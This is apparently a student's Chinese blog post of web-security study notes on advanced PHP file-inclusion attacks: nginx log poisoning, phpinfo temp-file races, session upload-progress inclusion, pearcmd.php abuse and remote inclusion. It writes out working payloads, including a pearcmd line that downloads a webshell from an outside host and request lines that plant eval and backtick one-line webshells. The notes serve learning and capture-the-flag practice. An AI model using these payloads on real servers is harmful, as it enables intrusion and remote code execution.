寒假学web--day5

简介

今天学习的是php文件包含的一些高级用法

文件包含的类型

  • 文件名可控  用伪协议,比如data协议,写的内容为php代码,题目强制加的后缀会被加在php标签外,不会被执行
  • 文件后缀可控   可以实现目录跳转,任意文件读取

高级文件包含

日志文件包含

这里以nginx为例

niginx的日志文件会记录我们的访问记录,里面包含了User-Agent,并且内容不会被url编码(如果直接传参会被编码,但是可以通过bp发包来解决),那么我们就可以控制UA的内容来写入php代码,再包含日志文件,执行php代码

linux下,默认日志文件存放路径为/var/log/nginx/access.log

我们使用hackbar,在访问时,设置UA的值为一句话木马,再访问日志文件,此时我们是看不到我们写的UA中的一句话木马的,因为被执行了,如果能看到,说明出错了

接下来就可以利用这个一句话来发挥

临时文件包含

php临时文件存放目录/tmp/php??????

要想通过临时文件实现文件包含,过程日志文件包含类似,所以我们需要知道该临时文件准确的名字

phpinfo_LFI

一些前置知识

  • php配置文件中,默认每次向浏览器发送内容不是一个字符一个字符发的,而是一块内容一起发,最长不超过4096个字符
  • 我们强制上传的文件会存放在超全局变量FILES中

攻击手法

既然我们能够访问到phpinfo页面,我们就可以在FILES变量里面找到上传文件的存放的位置,包括他的名字

但是每次脚本上传完毕之后,这个临时文件都会被删除,所以我们并不能事先知道这个临时文件的名字

但是我们可以利用php想浏览器发送内容的特性,不断的王phpinfo这个页面填充数据,在超过4096个字符之后,服务器就会一段一段的返回内容,由于还没有返回完毕,脚本仍在执行,所以临时文件不会被清除,这时,立马去另一个页面访问这个文件,就能实现RCE了

可以编写脚本来实现该功能

php的seesion文件包含(session_LFI)

原理:php文件上传过程中,可以通过upload_progress表单写入上传进度,并且会将此进度完整的写入session文件中

第一次访问时,服务器会为我们的浏览器设置一个sessid,同时生成一个session临时文件来存放一下内容

如果我们自己手动设置sessid,浏览器也会生成一个session文件,内容为空

我们写一个表单来提交upload_progress,直接在昨天写的upload.html文件中添加一下就行

<form action="http://example.com" enctype="multipart/form-data" method="post" >
    <input name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
    <input name="file" type="file" />
    <input type="submit" value="upload" />

</form>

假设我们的session临时文件不会被清除

这个时候我们再去访问,同时设置PHPSESSID为test,这样就会生成一个空的sess_test文件

我们需要写一个脚本来打,多进程,同时给sess_test写内容,同时读,来实现代码执行

执行脚本写入shell,执行命令的时候,enctype要选择application/x-www-form-urlrencoded

pear文件包含

使用条件:

有文件包含点

安装了pear扩展

配置文件中register_argc_argv设置为On

pear是个框架,用来构建可以复用的ohp组件,默认安装位置为/usr/local/lib/php/

argc argv会读取我们上传的参数,更多的用于命令行拿参数,argv是一个数组,存放参数,argc是一个政协,存放数组的大小

pear中获取参数的方式也是argc argv

利用pearcmd.php实现远程文件下载

首先配置要下载的远程文件

利用your-shell.com,编写your-shell.com/shell.php,内容为一句话木马

payload

?file=/usr/local/lib/php/pearcmd.php&xxx+install+-R+/var/www/html/+http://your-shell.com/shell.php

xxx用来占位(也可以空着,但+不能省略),因为pearcmd文件中,是从第二个参数开始获取的,下载成功后,访问shell,php文件,就可以利用一句话木马执行命令

生成配置文件,配置项,传入恶意php代码

如果我们直接写

GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/test.php+-d+man_dir=<?eval($_POST[1]);?>+-s+ 

会发现被编码了,所以我们就用bp来发,注意最后有个空格

不出网时的利用

GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php 

依然是用bp发包,同样最后有个空格,由于不能出网,所以需要用到前几天学到的反弹方法

远程文件包含

先自己配置一个远程文件,注意,你配置的文件在查看源代码时,要能看到php代码(一句话木马),如果看不到,就会失败,比如可以写成your-shell.com/shell.txt

关于.被过滤

我们使用这种方法时,必不可少用到.因为your-shell.com里有,对于这个我们可以使用域名转数字网站,来把域名换成全数字,这样就没有.了,shell.txt中的点,可以直接把文件名写为shell,内容仍然为一句话木马,也能正常包含

posted @ 2025-01-22 02:01  onehang  阅读(10)  评论(0)    收藏  举报  来源